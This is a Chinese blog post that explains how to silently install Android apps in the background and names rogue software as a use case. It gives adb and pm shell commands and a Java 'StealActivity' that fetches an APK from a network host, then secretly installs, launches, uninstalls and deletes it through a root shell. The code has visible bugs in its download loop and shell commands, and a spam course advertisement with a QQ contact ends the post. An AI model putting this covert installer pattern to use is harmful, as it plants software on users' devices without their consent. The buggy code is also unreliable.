Android 静默安装程序(在后台偷偷安装apk)

一、概述:

1、应用场景:电子市场、流氓软件
2、使用手段:偷偷下载,偷偷安装,偷偷启动,偷偷删除

二、如何实现:

1、使用命令实现

adb push C:\Users\Administrator\Desktop\gameview.apk data/local/tmp  //下载
adb shell
cd data/local/tmp
ls
pm install gameview.apk //安装

am start -n com.android.game/com.android.game.GameUI  //启动
am kill com.android.game//停止

pm uninstall com.android.game //卸载
rm gameview.apk  //删除

2、使用代码实现

/**
 * @描述         实现静默安装
 * @项目名称      App_imooc
 * @包名         com.android.imooc.root
 * @类名         StealActivity
 * @author      chenlin
 * @date        2013年6月11日 下午5:15:09
 */

public class StealActivity extends Activity {

    @Override
    protected void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);

        init();
    }

    private void init() {
        Thread thread = new Thread(new Runnable() {
            @Override
            public void run() {
                try {
                    //下载
                    String path = "http://192.168.0.20:8080/game.apk";
                    URL url = new URL(path);
                    HttpURLConnection conn = (HttpURLConnection) url.openConnection();
                    conn.setRequestMethod("get");
                    conn.setReadTimeout(5000);
                    conn.setConnectTimeout(5000);
                    if (conn.getResponseCode() == 200) {
                        InputStream is = conn.getInputStream();
                        File file = new File("sdcard/apk/game.apk");
                        FileOutputStream fos = new FileOutputStream(file);
                        int len = -1;
                        byte[] buffer = new byte[1024];
                        while((len = is.read())!=-1){
                            fos.write(buffer, 0, len);
                        }
                        fos.flush();
                        fos.close();
                    }

                    //偷偷安装
                    RootTools.sendShell("pm install sdcard/apk/game.apk", 5000);
                    System.out.println("下载完毕");
                    //偷偷启动
                    RootTools.sendShell("start -n com.android.game/com.android.game.GameUI", 5000);
                    System.out.println("启动完毕");
                    //RootTools.sendShell("am kill com.android.game", 5000);
                    //偷偷卸载
                    RootTools.sendShell("pm uninstall com.android.game", 5000);
                    System.out.println("卸载完毕");
                    //偷偷删除
                    RootTools.sendShell("rm sdcard/apk/gameview.apk", 5000);
                    System.out.println("删除完毕");
                } catch (Exception e) {
                    e.printStackTrace();
                } 

            }
        });
        thread.start();
    }
}

———————————————————————
有需求者请加qq:136137465,非诚勿扰
(java 架构师全套教程,共760G, 让你从零到架构师,每月轻松拿3万)
01.高级架构师四十二个阶段高
02.Java高级系统培训架构课程148课时
03.Java高级互联网架构师课程
04.Java互联网架构Netty、Nio、Mina等-视频教程
05.Java高级架构设计2016整理-视频教程
06.架构师基础、高级片
07.Java架构师必修linux运维系列课程
08.Java高级系统培训架构课程116课时
(送:hadoop系列教程,java设计模式与数据结构, Spring Cloud微服务, SpringBoot入门)
——————————————————————–

你可能感兴趣的:(android,Root)